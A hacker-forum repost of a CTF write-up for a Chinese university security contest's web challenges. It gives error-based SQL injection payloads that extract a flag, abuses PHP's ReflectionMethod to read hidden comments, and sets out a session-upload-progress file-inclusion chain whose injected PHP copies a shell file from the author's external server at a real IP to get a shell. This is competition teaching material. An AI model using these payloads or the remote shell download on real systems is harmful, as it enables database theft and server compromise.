Jump to content
请先注册账号再浏览本站!Maak een account aan voordat u deze site bezoekt!
This Wind

全国大学生信息安全竞赛线上初赛 Web 部分 WriteUp讲解

Recommended Posts

20210516095516.png

[toc]

前言

感觉一晚上考完了高考,刚经历完一模二模三模的你还肝得动吗?

easy_sql

经测试登录密码出存在 sql 注入:

SQL
 
1
passwd=0')||extractvalue(1,concat(0x7c,(database()),0x7c))#&uname=123

image-20210515122241253

之后用 sqlmap 跑出两个数据表 users、flag,并且过滤了 information,所以用为无列名注入,用 join…using 爆出字段名:

SQL
 
1
2
3
4
5
passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a)b),0x7c))#&uname=123    // id

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id))b),0x7c))#&uname=123    // no

passwd=0')||extractvalue(1,concat(0x7c,(select * from (select * from flag join flag as a using(id,no))b),0x7c))#&uname=123    // 672997e4-88a0-4adc-b5ec-3482915ac53e

image-20210515122529939

然后使用 left() 和 right() 读取 flag:

image-20210515115442286

image-20210515115423302

easy_source

原题:https://r0yanx.com/2020/10/28/fslh-writeup/

目录扫描发现备份文件 .index.php.swo(少见的备份文件格式,其是 vim 打开文件后的缓存文件),访问即可得到源码:

PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

看着代码的样子应该是调用 PHP 原生类。我们猜测 flag 是藏在类的注释中,而且我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

ReflectionMethod 类报告了一个方法的有关信息。

所以 Payload 如下:

CODE
 
1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

image-20210515120348612

middle_source

题目源码如下:

PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?> your flag is in some file in /etcset 限制解除 

field 就是迷惑你的,没啥用处。这个题的思路是文件包含利用 SESSION_UPLOAD_PROGRESS Getshell,详情请看:https://xz.aliyun.com/t/9545

首先访问 you_can_seeeeeeee_me.php 发现 phpinfo,查看 session 存储路径:

image-20210515233520851

构造文件上传表单上传 session:

PHP
 
1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="http://124.71.232.194:24974/index.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php copy('http://47.101.57.72/shell.txt','/tmp/shell.txt'); ?>" />
 	<input type="file" name="file" />
    <input type="Submit" />
</form>
</body>
</html>

这里由于 PHP 的 disable_functions 限制了几乎所有可以利用的函数,命令执行、读写文件都不可能了,但是我在蓝帽杯中学到了一个姿势就是利用 PHP 中的 copy 函数,如下:

PHP
 
1
copy('http://47.101.57.72/shell.txt','/tmp/shell.txt');

即将位于我们 vps 上存在恶意代码的 shell.txt 文件远程复制到目标主机的 /tmp 目录中。

我们随便上传一个文件并抓包,给 HTTP 头中加上 Cookie:

image-20210515233420628

然后发送到 Intruder 模块中不停地重放。

之后再抓个包含 session 文件的包,也是发送到 Intruder 模块中不停地重放:

image-20210515233622035

两个 burpsuite 双管齐下,如下图所示写入成功:

image-20210515233743227

然后包含我们复制进去的 shell.txt 即可 Getshell:

image-20210515234010605

image-20210515234050925

https://whoamianony.top/2021/05/16/CTF比赛记录/第十四届全国大学生信息安全竞赛线上初赛 Web 部分 WriteUp/

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.

法务要求丨Legal丨закон丨القانون

请在学习期间遵守所在国家相关法律,否则后果自负!

Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!

勉強期間中に該当する国の法律を守ってください。そうでなければ結果は自己責任です。

Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project

声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com

申请或请未补上链接者联系我们的邮箱,谢谢!

×
×
  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines